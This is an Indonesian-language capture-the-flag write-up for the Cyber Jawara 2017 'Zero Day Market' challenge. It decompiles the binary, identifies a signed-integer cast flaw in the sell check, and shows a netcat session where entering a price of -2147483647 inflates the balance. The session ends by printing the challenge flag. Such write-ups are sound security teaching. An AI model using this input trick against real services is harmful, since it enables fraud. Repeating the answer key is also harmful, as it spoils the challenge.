[Cyber Jawara Quals 2017] Zero Day Market (75 Poin)
Masalah
Diberikan berkas zero_day_market
dan layanan yang tersedia pada nc cj2k17.ctf.idsirtii.or.id 21337
.
Penyelesaian
Pengumpulan Informasi
Kami memeriksa jenis berkas dan keamanan yang ada didalamnya dengan file
dan checksec
.
$ file zero_day_market
zero_day_market: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=77e3afe31565bf7337bb81bf51e65dab7d12ac93, not stripped
$ checksec zero_day_market
[*] '/.../zero_day_market'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Berdasarkan informasi diatas, keamanan binary diaktifkan semua dan arsitektur yang digunakan adalah Linux 64 bit.
Alur Program Program menampilkan menu untuk membeli dan menjual exploit dengan harga yang bisa diatur sendiri dengan saldo awal 10 BTC.
$ ./zero_day_market
== WELCOME TO CYBER JAWARA ZERO DAY MARKET ==
Your Money: 10 BTC
1) Buy
2) Sell
3) Exit
Your choice: 1
- ZERO DAY LIST -
[1] Chrome Exploit | 100 BTC
[2] Safari Exploit | 100 BTC
[3] Windows 10 Exploit | 150 BTC
[4] Git Exploit | 5 BTC
[5] Jenkins Exploit | 5 BTC
[6] Flag | 99999999 BTC
Choose Number: 4
Buy Git Exploit with 5 BTC
Your Money: 5 BTC
1) Buy
2) Sell
3) Exit
Your choice: 2
- YOUR INVENTORY -
[1] Git Exploit
Choose Number: 1
Price: 5
Sold! You get 5 BTC
Your Money: 10 BTC
1) Buy
2) Sell
3) Exit
Your choice: 3
Tujuan utama pada program ini adalah membeli Flag
melalui opsi 6, namun harganya terlampau mahal.
Dekompilasi
Kami melakukan dekompilasi untuk memahami alur program lebih jelas lagi. Terdapat fungsi main
yang berisi struktur awal program.
// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(*(_QWORD *)&argc, argv, envp);
load_flag();
market();
return 0;
}
Program menginisiasi Flag yang disimpan pada opsi 6, dan fungsi market
berisi alur jual-beli exploit.
int load_flag()
{
FILE *stream; // ST08_8@1
stream = fopen("flag.txt", "r");
fread(flag, 1uLL, 0x2AuLL, stream);
return fclose(stream);
}
Pada fungsi market
, menu utama ditampilkan.
__int64 market()
{
char v0; // ST07_1@2
char v1; // ST06_1@6
char v2; // ST07_1@6
char v3; // ST06_1@21
char v4; // ST07_1@21
char v5; // ST07_1@25
char v7; // [sp+6h] [bp-BAh]@2
unsigned int v8; // [sp+8h] [bp-B8h]@25
unsigned int v9; // [sp+Ch] [bp-B4h]@1
int i; // [sp+10h] [bp-B0h]@3
int v11; // [sp+14h] [bp-ACh]@14
int j; // [sp+18h] [bp-A8h]@29
int v13; // [sp+1Ch] [bp-A4h]@6
int v14; // [sp+20h] [bp-A0h]@1
int v15; // [sp+24h] [bp-9Ch]@1
int v16; // [sp+28h] [bp-98h]@1
int v17; // [sp+2Ch] [bp-94h]@1
int v18; // [sp+30h] [bp-90h]@1
int v19; // [sp+34h] [bp-8Ch]@1
int v20; // [sp+40h] [bp-80h]@1
int v21; // [sp+44h] [bp-7Ch]@1
int v22; // [sp+48h] [bp-78h]@1
int v23; // [sp+4Ch] [bp-74h]@1
int v24; // [sp+50h] [bp-70h]@1
int v25; // [sp+54h] [bp-6Ch]@1
int v26; // [sp+60h] [bp-60h]@1
int v27; // [sp+64h] [bp-5Ch]@1
int v28; // [sp+68h] [bp-58h]@1
int v29; // [sp+6Ch] [bp-54h]@1
int v30; // [sp+70h] [bp-50h]@1
int v31; // [sp+74h] [bp-4Ch]@1
const char *v32; // [sp+80h] [bp-40h]@1
const char *v33; // [sp+88h] [bp-38h]@1
const char *v34; // [sp+90h] [bp-30h]@1
const char *v35; // [sp+98h] [bp-28h]@1
const char *v36; // [sp+A0h] [bp-20h]@1
const char *v37; // [sp+A8h] [bp-18h]@1
__int64 v38; // [sp+B8h] [bp-8h]@1
v38 = *MK_FP(__FS__, 40LL);
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
v18 = 0;
v19 = 0;
v20 = 0;
v21 = 0;
v22 = 0;
v23 = 0;
v24 = 0;
v25 = 0;
v26 = 100;
v27 = 100;
v28 = 150;
v29 = 5;
v30 = 5;
v31 = 99999999;
v32 = "Chrome Exploit";
v33 = "Safari Exploit";
v34 = "Windows 10 Exploit";
v35 = "Git Exploit";
v36 = "Jenkins Exploit";
v37 = "Flag";
puts("== WELCOME TO CYBER JAWARA ZERO DAY MARKET ==");
v9 = 10;
while ( 1 )
{
while ( 1 )
{
puts(&byte_106E);
printf("Your Money: %u BTC\n", v9);
puts(&byte_106E);
puts("1) Buy");
puts("2) Sell");
puts("3) Exit");
printf("Your choice: ");
v7 = getchar();
v0 = getchar();
if ( v7 != 49 )
break;
puts(&byte_106E);
puts("- ZERO DAY LIST -");
for ( i = 0; i <= 5; ++i )
printf("[%d] %s | %d BTC\n", (unsigned int)(i + 1), (&v32)[8 * i], (unsigned int)*(&v26 + i));
printf("Choose Number: ");
v1 = getchar();
v2 = getchar();
v13 = v1 - 49;
if ( v13 >= 0 && v13 <= 5 )
{
if ( *(&v26 + v13) <= v9 )
{
printf("Buy %s with %d BTC\n", (&v32)[8 * v13], (unsigned int)*(&v26 + v13));
v9 -= *(&v26 + v13);
++*(&v14 + v13);
if ( v13 == 5 )
puts(flag);
}
else
{
puts("Not Enough Money!");
}
}
else
{
puts("Invalid Number");
}
}
if ( v7 != 50 )
break;
puts(&byte_106E);
puts("- YOUR INVENTORY -");
v11 = 0;
for ( i = 0; i <= 5; ++i )
{
if ( *(&v14 + i) )
{
printf("[%d] %s\n", (unsigned int)(v11 + 1), (&v32)[8 * i]);
*(&v20 + v11++) = i;
}
}
if ( v11 )
{
printf("Choose Number: ");
v3 = getchar();
v4 = getchar();
v13 = v3 - 48;
if ( v13 > 0 && v13 <= v11 )
{
if ( *(&v20 + --v13) )
{
printf("Price: ");
_isoc99_scanf("%d", &v8);
v5 = getchar();
v11 = *(&v20 + v13);
if ( *(&v26 + v11) >= (signed int)v8 )
{
printf("Sold! You get %d BTC\n", v8);
v9 += v8;
--*(&v14 + v11);
}
else
{
printf(
"No one want to buy! %s price in the market is %d BTC\n",
(&v32)[8 * v11],
(unsigned int)*(&v26 + v11));
}
}
else
{
puts("Invalid Number");
}
for ( j = 0; j <= 5; ++j )
*(&v20 + j) = 0;
}
else
{
puts("Invalid Number");
}
}
else
{
puts("You have nothing");
}
}
return *MK_FP(__FS__, 40LL) ^ v38;
}
Identifikasi Kelemahan
Berdasarkan informasi diatas, terdapat kelemahan Integer Overflow. Tepatnya pada fungsi market
pada bagian struktur kondisonal penjualan exploit disebabkan oleh cast ke tipe data Signed Int
.
if ( *(&v20 + --v13) )
{
printf("Price: ");
_isoc99_scanf("%d", &v8);
v5 = getchar();
v11 = *(&v20 + v13);
if ( *(&v26 + v11) >= (signed int)v8 )
{
printf("Sold! You get %d BTC\n", v8);
v9 += v8;
--*(&v14 + v11);
}
else
{
printf(
"No one want to buy! %s price in the market is %d BTC\n",
(&v32)[8 * v11],
(unsigned int)*(&v26 + v11));
}
}
Jika penjualan dilakukan dengan memasukkan input sebesar -2147483647
maka saldo yang didapat bertambah sebesar 2147483647
BTC.
Eksploitasi
nc cj2k17.ctf.idsirtii.or.id 21337
== WELCOME TO CYBER JAWARA ZERO DAY MARKET ==
Your Money: 10 BTC
1) Buy
2) Sell
3) Exit
Your choice: 1
- ZERO DAY LIST -
[1] Chrome Exploit | 100 BTC
[2] Safari Exploit | 100 BTC
[3] Windows 10 Exploit | 150 BTC
[4] Git Exploit | 5 BTC
[5] Jenkins Exploit | 5 BTC
[6] Flag | 99999999 BTC
Choose Number: 5
Buy Jenkins Exploit with 5 BTC
Your Money: 5 BTC
1) Buy
2) Sell
3) Exit
Your choice: 2
- YOUR INVENTORY -
[1] Jenkins Exploit
Choose Number: 1
Price: -2147483647
Sold! You get -2147483647 BTC
Your Money: 2147483654 BTC
1) Buy
2) Sell
3) Exit
Your choice: 1
- ZERO DAY LIST -
[1] Chrome Exploit | 100 BTC
[2] Safari Exploit | 100 BTC
[3] Windows 10 Exploit | 150 BTC
[4] Git Exploit | 5 BTC
[5] Jenkins Exploit | 5 BTC
[6] Flag | 99999999 BTC
Choose Number: 6
Buy Flag with 99999999 BTC
CJ2017{y0_d4w6_buy_zero_day_with_zero_day}
Your Money: 2047483655 BTC
1) Buy
2) Sell
3) Exit
Your choice:
Flag yang didapat adalah CJ2017{y0_d4w6_buy_zero_day_with_zero_day}
.